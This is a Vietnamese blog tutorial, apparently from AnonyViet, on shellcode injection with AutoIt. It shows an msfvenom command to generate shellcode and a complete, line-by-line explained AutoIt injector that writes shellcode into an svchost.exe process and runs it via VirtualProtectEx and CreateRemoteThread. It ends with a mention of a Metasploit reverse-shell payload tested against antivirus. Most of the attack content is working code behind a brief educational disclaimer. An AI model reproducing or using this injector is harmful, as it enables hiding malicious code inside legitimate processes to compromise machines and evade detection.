Việc hiểu rõ các kỹ thuật tấn công là một phần quan trọng để phát triển các biện pháp phòng thủ hiệu quả. Một trong những phương pháp tấn công nổi bật là Shellcode Injection, cho phép hacker chèn mã độc trực tiếp vào bộ nhớ của chương trình đang chạy để thực thi các lệnh độc hại. Kết hợp với AutoIt là một ngôn lập trình dễ sử dụng làm cho kỹ thuật này trở nên linh hoạt và nguy hiểm hơn bao giờ hết.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Trong bài viết này, chúng ta sẽ cùng khám phá cách thực hiện kỹ thuật Shellcode Injection với AutoIt, từ những khái niệm cơ bản đến các bước thực hành cụ thể, nhằm giúp bạn hiểu sâu hơn về cách thức hoạt động của nó
Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục, nghiên cứu và học tập. Anonyviet không chịu trách nhiệm trước mọi hành vi bất hợp pháp
Shellcode Injection là gì ?
Trước khi đi vào chi tiết, hãy cùng tìm hiểu khái niệm cơ bản. Shellcode là một đoạn mã nhị phân nhỏ, thường được viết bằng ngôn ngữ Assembly, nhằm mục đích thực thi một tác vụ cụ thể (như mở shell, tải phần mềm độc hại,…). Shellcode Injection là quá trình chèn đoạn mã này vào bộ nhớ của một tiến trình đang chạy, sau đó buộc tiến trình đó thực thi mã.
Với khả năng thao tác bộ nhớ và gọi các hàm API của Windows, Autoit là ngôn ngữ lập trình lý tưởng để thực hiện kỹ thuật này. Chúng ta sẽ tận dụng các hàm có sẵn trong các thư viện của Autoit để tương tác với hệ thống
Cách thực hiện kĩ thuật Shellcode Injection
1. Chuẩn bị môi trường
Để bắt đầu, bạn cần chuẩn bị những thứ sau:
- Tải và cài đặt AutoIt: Đảm bảo bạn có cả trình soạn thảo SciTE để viết code
- Shellcode: Bạn có thể tạo shellcode bằng các công cụ như Metasploit (msfvenom) hoặc tự viết bằng Assembly. Ví dụ, dùng lệnh sau trong Metasploit để tạo shellcode mở calculator
msfvenom -p windows/x64/exec CMD=calc.exe -f hex
Kết quả sẽ là một chuỗi hex như: fc4883e4…32e65786500
- Kiến thức cơ bản: Hiểu về hàm API Windows như VirtualAlloc, RtlMoveMemory, và CreateThread
2. Viết code Autoit thực hiện kĩ thuật Shellcode Injection
Phần khai báo thư viện
#include <Process.au3> #include <Memory.au3> #include <WinAPI.au3> #include <Array.au3>
Đây là các thư viện (library) mà AutoIt sử dụng để cung cấp các hàm hỗ trợ:
- <Process.au3>: Hỗ trợ làm việc với tiến trình (process), như lấy tên, kiểm tra PID.
- <Memory.au3>: Cung cấp hàm để thao tác bộ nhớ, như cấp phát hoặc ghi dữ liệu.
- <WinAPI.au3>: Cho phép gọi các hàm API của Windows (như OpenProcess, WriteProcessMemory).
- <Array.au3>: Hỗ trợ làm việc với mảng (array), dùng để quản lý danh sách tiến trình.
Để dễ hiểu hơn bạn hãy nghĩ đây là những “cuốn sách hướng dẫn” mà chương trình cần để biết cách làm việc với hệ điều hành
Khai báo biến toàn cục
Global $hexShellcode = "fc4883e4...32e65786500"
$hexShellcode là shellcode dạng mã hexa (chuỗi số và chữ cái như fc4883e4f). Đây là đoạn mã nhỏ sẽ được tiêm vào tiến trình đích để thực thi
Gọi các hàm chính
_CheckProcess() _ProcessInjection()
Hai hàm này chính là “đầu não” của chương trình:
- _CheckProcess(): Kiểm tra xem tiến trình đích (svchost.exe) có đang chạy không
- _ProcessInjection(): Thực hiện việc tiêm shellcode vào tiến trình svchost.exe
Hàm _CheckProcess()
Func _CheckProcess() ConsoleWrite("[+] Checking for target process" & @CRLF & @CRLF) Global $targetPID = Find_Process("svchost.exe") If Not $targetPID = 0 Then Global $targetProcName = _ProcessGetName($targetPID) ConsoleWrite("[+] Target process is running (" & $targetProcName &")" & @CRLF & @CRLF) ElseIf $targetPID = 0 Then ConsoleWrite("[!] Target process is not running. Exiting." & @CRLF & @CRLF) Exit EndIf EndFunc
Hàm này kiểm tra xem tiến trình svchost.exe có đang chạy không và lấy mã định danh (PID) của nó
Chi tiết:
- ConsoleWrite(“[+] Checking for target process” & @CRLF & @CRLF): In thông báo “Đang kiểm tra tiến trình đích”
- $targetPID = Find_Process(“svchost.exe”): Gọi hàm Find_Process để tìm PID của svchost.exe
- If Not $targetPID = 0: Nếu tìm thấy PID (khác 0):
– $targetProcName = _ProcessGetName($targetPID): Lấy tên tiến trình từ PID (dùng thư viện <Process.au3>)
– In thông báo xác nhận tiến trình đang chạy
- ElseIf $targetPID = 0: Nếu không tìm thấy, in thông báo lỗi và thoát chương trình (Exit)
Hàm Find_Process()
Func Find_Process($process) $loggedInUser = @UserName $processList = ProcessList() Dim $matchingProcesses[1] For $i = 1 To $processList[0][0] $processName = $processList[$i][0] $processPID = $processList[$i][1] If StringInStr($processName, $process) And _IsProcessOwner($processPID, $loggedInUser) Then ReDim $matchingProcesses[UBound($matchingProcesses) + 1] $matchingProcesses[UBound($matchingProcesses) - 1] = $processPID EndIf Next If UBound($matchingProcesses) > 1 Then $randomIndex = Random(1, UBound($matchingProcesses) - 1, 1) $randomPID = $matchingProcesses[$randomIndex] Return $randomPID Else Return "" EndIf EndFunc
Hàm này tìm tất cả các tiến trình có tên chứa $process (ở đây là “svchost.exe”) và chọn ngẫu nhiên một PID thuộc về người dùng hiện tại. Chi tiết:
- $loggedInUser = @UserName: Lấy tên người dùng hiện tại (ví dụ: “Admin”).
- $processList = ProcessList(): Lấy danh sách tất cả tiến trình đang chạy trên máy
- Dim $matchingProcesses[1]: Tạo một mảng để lưu các PID phù hợp
- Vòng lặp For:
– Duyệt qua từng tiến trình trong $processList
– StringInStr($processName, $process): Kiểm tra xem tên tiến trình có chứa “svchost.exe” không
– _IsProcessOwner($processPID, $loggedInUser): Kiểm tra xem tiến trình thuộc về người dùng hiện tại không
– Nếu cả hai điều kiện đúng, thêm PID vào mảng $matchingProcesses
Kết quả:
- Nếu có nhiều hơn 1 tiến trình khớp, chọn ngẫu nhiên một PID bằng Random() và trả về
- Nếu không tìm thấy, trả về chuỗi rỗng
Hàm _IsProcessOwner()
Func _IsProcessOwner($processPID, $username) Local $aWMI = ObjGet("winmgmts:\\.\root\cimv2") Local $colItems = $aWMI.ExecQuery("Select * from Win32_Process where ProcessID=" & $processPID) For $objItem In $colItems If $objItem.GetOwner() = $username Then Return 1 EndIf Next Return 0 EndFunc
Hàm này kiểm tra xem tiến trình với PID cụ thể có thuộc về người dùng hiện tại ($username) không. Chi tiết:
- $aWMI = ObjGet(“winmgmts:\\.\root\cimv2”): Kết nối đến WMI (Windows Management Instrumentation) để truy vấn thông tin hệ thống
- $colItems = $aWMI.ExecQuery(…): Truy vấn thông tin về tiến trình có PID là $processPID
- Vòng lặp: Kiểm tra chủ sở hữu (GetOwner) của tiến trình. Nếu khớp với $username, trả về 1 (đúng); nếu không, trả về 0 (sai)
Để dễ hiểu hơn thì phần này giống như kiểm tra xem số điện thoại trong danh bạ có phải của bạn không, để tránh gọi nhầm người khác
Hàm _ptr()
Func _ptr($s, $e = "") If $e <> "" Then Return DllStructGetPtr($s, $e) Return DllStructGetPtr($s) EndFunc
Hàm này lấy “con trỏ” (địa chỉ trong bộ nhớ) của một cấu trúc dữ liệu (DllStruct) Chi tiết:
- $s: Cấu trúc cần lấy con trỏ
- $e: Phần tử cụ thể trong cấu trúc (nếu có, nhưng ở đây không dùng)
- DllStructGetPtr: Trả về địa chỉ bộ nhớ của cấu trúc
Hàm sizeof()
Func sizeof($s) Return DllStructGetSize($s) EndFunc
- Ý nghĩa: Hàm này trả về kích thước (số byte) của một cấu trúc dữ liệu
- Chi tiết: DllStructGetSize tính kích thước dựa trên định nghĩa của cấu trúc
Hàm _ProcessInjection()
Func _ProcessInjection() Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF) $hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True) $hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE) Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written) $protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0] $threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0] EndFunc
Hàm _ProcessInjection() là hàm giúp đưa mã độc vào tiến trình đích (ở đây là svchost.exe) và chạy nó một cách lén lút, biến tiến trình hợp pháp thành mã độc thực thi. Chi tiết:
Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF)
- Shellcode là đoạn mã độc mà chúng ta muốn tiêm vào. Ở đây, $hexShellcode là một chuỗi mã hóa dạng hexa (ví dụ: “fc4883e4f”), và mình thêm “0x” để biến nó thành định dạng mà AutoIt hiểu được
- Tạo bộ đệm: DllStructCreate tạo một “hộp chứa” (buffer) để lưu shellcode. Kích thước của hộp này bằng độ dài của shellcode (BinaryLen)
- Đưa shellcode vào hộp: DllStructSetData đặt shellcode vào hộp vừa tạo
- Thông báo: Hai lệnh ConsoleWrite hiển thị thông tin kích thước shellcode và tiến trình đích (PID và tên) để người dùng biết điều gì đang xảy ra
$hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True)
- Hàm _WinAPI_OpenProcess giống như xin phép hệ điều hành để “mở cửa” tiến trình đích (ở đây là svchost.exe, có mã số $targetPID đã được tìm trước đó)
- Quyền hạn: $PROCESS_ALL_ACCESS yêu cầu toàn quyền truy cập (đọc, ghi, thực thi) vào tiến trình này
- Kết quả: $hProcess là “chìa khóa” để ta thao tác với tiến trình đó. Để dễ hiểu hơn giống như bạn cần chìa khóa để vào nhà người khác thì $hProcess chính là chìa khóa mở cửa svchost.exe
$hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE)
- Hàm _MemVirtualAllocEx tạo một “khoảng trống” trong bộ nhớ của tiến trình đích để lưu shellcode. Kích thước khoảng trống này bằng kích thước của shellcode (sizeof($shellcodeBuffer))
- Quyền truy cập: $PAGE_READWRITE cho phép đọc và ghi vào khoảng trống này. $MEM_COMMIT + $MEM_RESERVE đảm bảo khoảng trống được sử dụng ngay và dành sẵn
- Kết quả: $hRegion là địa chỉ của khoảng trống vừa tạo
Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written)
Hàm _WinAPI_WriteProcessMemory sao chép shellcode từ “hộp chứa” ($shellcodeBuffer) vào khoảng trống ($hRegion) trong tiến trình svchost.exe
Tham số:
- $hProcess: Chìa khóa để vào tiến trình scvhost.exe
- $hRegion: Địa chỉ phòng trống
- _ptr($shellcodeBuffer): Con trỏ đến shellcode trong hộp chứa
- sizeof($shellcodeBuffer): Kích thước dữ liệu cần sao chép
- $written: Biến lưu số byte đã ghi (dùng để kiểm tra)
$protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0]
- VirtualProtectEx thay đổi quyền truy cập của “phòng trống” từ chỉ đọc/ghi (PAGE_READWRITE) sang có thể thực thi (0x20 là PAGE_EXECUTE_READ).
- Tại sao cần: Shellcode là mã cần chạy, nên vùng bộ nhớ chứa nó phải được phép “thực thi”
- Kết quả: $hProtect cho biết việc thay đổi quyền có thành công hay không
$threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0]
CreateRemoteThread tạo một thread trong tiến trình svchost.exe để chạy shellcode tại địa chỉ $hRegion
Tham số:
- $hProcess: Chìa khóa vào tiến trình
- $hRegion: Địa chỉ shellcode để chạy
- Các tham số khác để mặc định (0)
Kết quả: $hThread là mã định danh của thread vừa tạo
Đây là đoạn code hoàn chỉnh:
#include <Process.au3> #include <Memory.au3> #include <WinAPI.au3> #include <Array.au3> Global $hexShellcode = "fc4883e4f" _CheckProcess() _ProcessInjection() Func _CheckProcess() ConsoleWrite("[+] Checking for target process" & @CRLF & @CRLF) Global $targetPID = Find_Process("svchost.exe") If Not $targetPID = 0 Then Global $targetProcName = _ProcessGetName($targetPID) ConsoleWrite("[+] Target process is running (" & $targetProcName &")" & @CRLF & @CRLF) ElseIf $targetPID = 0 Then ConsoleWrite("[!] Target process is not running. Exiting." & @CRLF & @CRLF) Exit EndIf EndFunc Func Find_Process($process) $loggedInUser = @UserName $processList = ProcessList() Dim $matchingProcesses[1] For $i = 1 To $processList[0][0] $processName = $processList[$i][0] $processPID = $processList[$i][1] If StringInStr($processName, $process) And _IsProcessOwner($processPID, $loggedInUser) Then ReDim $matchingProcesses[UBound($matchingProcesses) + 1] $matchingProcesses[UBound($matchingProcesses) - 1] = $processPID EndIf Next If UBound($matchingProcesses) > 1 Then $randomIndex = Random(1, UBound($matchingProcesses) - 1, 1) $randomPID = $matchingProcesses[$randomIndex] Return $randomPID Else Return "" EndIf EndFunc Func _ProcessInjection() Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF) $hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True) $hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE) Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written) $protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0] $threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0] EndFunc Func _ptr($s, $e = "") If $e <> "" Then Return DllStructGetPtr($s, $e) Return DllStructGetPtr($s) EndFunc Func sizeof($s) Return DllStructGetSize($s) EndFunc Func _IsProcessOwner($processPID, $username) Local $aWMI = ObjGet("winmgmts:\\.\root\cimv2") Local $colItems = $aWMI.ExecQuery("Select * from Win32_Process where ProcessID=" & $processPID) For $objItem In $colItems If $objItem.GetOwner() = $username Then Return 1 EndIf Next Return 0 EndFunc
Tổng kết cách hoạt động của toàn bộ code
1. _CheckProcess() và Find_Process(): Tìm và kiểm tra xem svchost.exe có chạy không, chọn ngẫu nhiên một PID phù hợp.
2. _ProcessInjection(): Tiêm shellcode vào tiến trình đích qua 6 bước (chuẩn bị, mở tiến trình, cấp phát bộ nhớ, ghi shellcode, cấp quyền thực thi, chạy shellcode)
3. Các hàm hỗ trợ (_ptr, sizeof, _IsProcessOwner): Giúp xử lý chi tiết như lấy địa chỉ, kích thước, và xác minh quyền sở hữu
Kết quả: Shellcode sẽ chạy trong svchost.exe. Tuy nhiên, với $hexShellcode = “fc4883e4f”, đây chỉ là đoạn mã mẫu, nên bạn cần shellcode đầy đủ (ví dụ từ Metasploit)
Và đây là kết quả:
Được rồi, bây giờ mình sẽ tạo một payload reverse shell https từ Metasploit, sau đó thử xem Antivirus có phát hiện ra hay không nhé. Mời các bạn xem demo:
Qua bài viết này, chúng ta đã cùng khám phá cách sử dụng AutoIt để thực hiện kỹ thuật Shellcode Injection. Hiểu biết về nó không chỉ giúp bạn nắm rõ cách hacker xâm nhập, mà còn là nền tảng để xây dựng các biện pháp phòng thủ hiệu quả hơn. Mình mong rằng bạn thực hiện kĩ thuật này chỉ để thử nghiệm trong môi trường an toàn và sử dụng kiến thức này một cách có trách nhiệm để bảo vệ hệ thống, thay vì gây hại. Chúc bạn thành công trên hành trình khám phá thế giới an ninh mạng !